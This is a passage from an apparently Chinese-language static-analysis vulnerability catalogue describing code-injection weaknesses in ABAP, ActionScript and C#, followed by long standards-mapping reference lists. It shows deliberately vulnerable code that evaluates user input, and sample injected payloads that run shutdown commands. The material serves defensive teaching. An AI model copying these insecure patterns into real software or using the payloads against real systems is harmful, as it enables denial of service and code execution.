[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[22] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[23] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[24] Standards Mapping - OWASP Top 10 2010 A1 Injection
[25] Standards Mapping - OWASP Top 10 2013 A1 Injection
[26] Standards Mapping - OWASP Top 10 2017 A8 Insecure Deserialization
[27] Standards Mapping - OWASP Top 10 2021 A08 Software and Data Integrity Failures
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.5 - Web Software Attack Mitigation
[40] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.semantic.java.deserialization_bad_practice_deny_list
Abstract
在运行时中解析用户控制的指令,会让攻击者有机会执行恶意代码。
Explanation
当程序员错误地认为由用户直接提供的指令仅会执行一些无害的操作时(如对当前的用户对象进行简单的计算或修改用户的状态),就会出现 code injection 漏洞:然而,若不经过适当的验证,用户指定的操作可能并不是程序员最初所期望的。

示例 1:在这一典型的代码注入示例中,报告实施的基本计算器允许用户指定要执行的命令。


...
user_ops = request->get_form_field( 'operation' ).
CONCATENATE: 'PROGRAM zsample.| FORM calculation. |' INTO code_string,
calculator_code_begin user_ops calculator_code_end INTO code_string,
'ENDFORM.|' INTO code_string.
SPLIT code_string AT '|' INTO TABLE code_table.
GENERATE SUBROUTINE POOL code_table NAME calc_prog.
PERFORM calculation IN PROGRAM calc_prog.
...


operation 参数的值为良性值时,程序可以正常运行。但是,如果攻击者指定的语言操作有效,而且为恶意操作时,只有在对主进程具有完全权限的情况下才能执行这些操作。当注入的代码可以访问系统资源或执行系统命令时,这类攻击的危险性进一步加大。例如,如果攻击者打算将“MOVE 'shutdown -h now' to cmd.CALL 'SYSTEM' ID 'COMMAND' FIELD cmd ID 'TAB' FIELD TABL[].”指定为 operation 的值,主机系统就会执行关机命令。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.abap.dynamic_code_evaluation_code_injection
Abstract
在运行时中解析用户控制的指令,会让攻击者有机会执行恶意代码。
Explanation
许多现代编程语言都允许动态解析源代码指令。这使得程序员可以执行基于用户输入的动态指令。当程序员错误地认为由用户直接提供的指令仅会执行一些无害的操作时(如对当前的用户对象进行简单的计算或修改用户的状态),就会出现 code injection 漏洞:然而,若不经过适当的验证,用户指定的操作可能并不是程序员最初所期望的。

示例 1:在这一典型的代码注入示例中,应用程序实施的基本计算器允许用户指定要执行的命令。


...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var userOps:String = String(params["operation"]);
result = ExternalInterface.call("eval", userOps);
...


如果 operation 参数的值为良性值,程序就可以正常运行。例如,当该值为 "8 + 7 * 2" 时,result 变量被赋予的值将为 22。然而,如果攻击者指定的语言操作既有可能是有效的,又有可能是恶意的,那么,只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。对于 ActionScript,攻击者可以利用这种漏洞进行跨站点脚本攻击。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.actionscript.dynamic_code_evaluation_code_injection
Abstract
在运行时中解析用户控制的指令,会让攻击者有机会执行恶意代码。
Explanation
许多现代编程语言都允许动态解析源代码指令。这使得程序员可以执行基于用户输入的动态指令。当程序员错误地认为由用户直接提供的指令仅会执行一些无害的操作时(如对当前的用户对象进行简单的计算或修改用户的状态),就会出现 code injection 漏洞:然而,若不经过适当的验证,用户指定的操作可能并不是程序员最初所期望的。

示例 1:在这一典型的代码注入示例中,应用程序实施的基本计算器允许用户指定要执行的命令。


...
public static object CEval(string sCSCode)
{
CodeDomProvider icc = CodeDomProvider.CreateProvider("CSharp");
CompilerParameters cparam = new CompilerParameters();
cparam.ReferencedAssemblies.Add("system.dll");
cparam.CompilerOptions = "/t:library";
cparam.GenerateInMemory = true;

StringBuilder sb_code = new StringBuilder("");
sb_code.Append("using System;\n");
sb_code.Append("namespace Fortify_CodeEval{ \n");
sb_code.Append("public class FortifyCodeEval{ \n");
sb_code.Append("public object EvalCode(){\n");
sb_code.Append(sCSCode + "\n");
sb_code.Append("} \n");
sb_code.Append("} \n");
sb_code.Append("}\n");

CompilerResults cr = icc.CompileAssemblyFromSource(cparam, sb_code.ToString());
if (cr.Errors.Count > 0)
{
logger.WriteLine("ERROR: " + cr.Errors[0].ErrorText);
return null;
}

System.Reflection.Assembly a = cr.CompiledAssembly;
object o = a.CreateInstance("Fortify_CodeEval.FortifyCodeEval");

Type t = o.GetType();
MethodInfo mi = t.GetMethod("EvalCode");

object s = mi.Invoke(o, null);
return s;
}
...


如果 sCSCode 参数的值为良性值,程序就可以正常运行。例如,当该值为“return 8 + 7 * 2”时,函数 CEval 的返回值为 22。但是,如果攻击者指定的语言操作有效,而且为恶意操作时,只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。例如,.Net 允许调用 Windows API;如果攻击者计划将“return System.Diagnostics.Process.Start(\"shutdown\", \"/s /t 0\");”指定为 operation 的值,主机系统就会执行关机命令。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
